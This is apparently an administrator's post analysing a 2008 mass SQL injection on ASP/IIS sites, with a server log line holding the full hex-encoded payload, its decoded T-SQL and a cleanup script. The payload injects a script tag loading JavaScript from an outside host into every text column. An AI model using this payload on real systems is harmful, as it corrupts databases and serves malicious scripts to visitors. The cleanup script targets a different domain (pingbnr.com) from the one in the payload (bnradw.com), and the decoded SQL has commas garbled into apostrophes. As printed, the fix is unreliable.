Mass Automated Sql Injection Attack - How to restore database
There has been a recent wave of SQL injection attacks from botnets.
The botnet finds websites with ASP/IIS and sends a long query string of data that escapes the database query being run and executes a custom query.
We had this attempt for insertion:
2008-06-21 21:31:52 201.40.59.50 - 10.1.1.2 80 GET
/Cart.asp
id=260;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E626E726164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--
200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727)
Cast is a command that converts hexadecimal to the specified format, in this case it's varchar(4000) format. The code really is this:
DECLARE @T VARCHAR(255)'@C VARCHAR(255)
DECLARE Table_Cursor CURSOR
FOR SELECT a.name'b.name FROM sysobjects a'syscolumns b WHERE
a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000)'['+@C+']))+''<script src=http://www.bnradw.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T'@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
This inserts a javascript advertising redirect with the code "<script src=http://www.bnradw.com/b.js></script>" after each varchar record in all the tables in the database
I rewrote this code to go through and fix all the corrupted records and restore them back to normal. It replaces " <script src=http://www.pingbnr.com/b.js></script>" with nothing.
DECLARE @T VARCHAR(255),
@C VARCHAR(255)
DECLARE Table_Cursor CURSOR
FOR SELECT a.name,b.name
FROM sysobjects a, syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT
FROM Table_Cursor
INTO @T, @C WHILE(@@FETCH_STATUS=0)
BEGIN
exec('UPDATE '+@T+' SET '+@c+ '= REPLACE('+@c+', ''<script src=http://www.pingbnr.com/b.js></script>'', '''')
WHERE ('+@t+'.'+@c+' Like ''%<script src=http://www.pingbnr.com/b.js></script>%'')')
FETCH NEXT
FROM Table_Cursor
INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor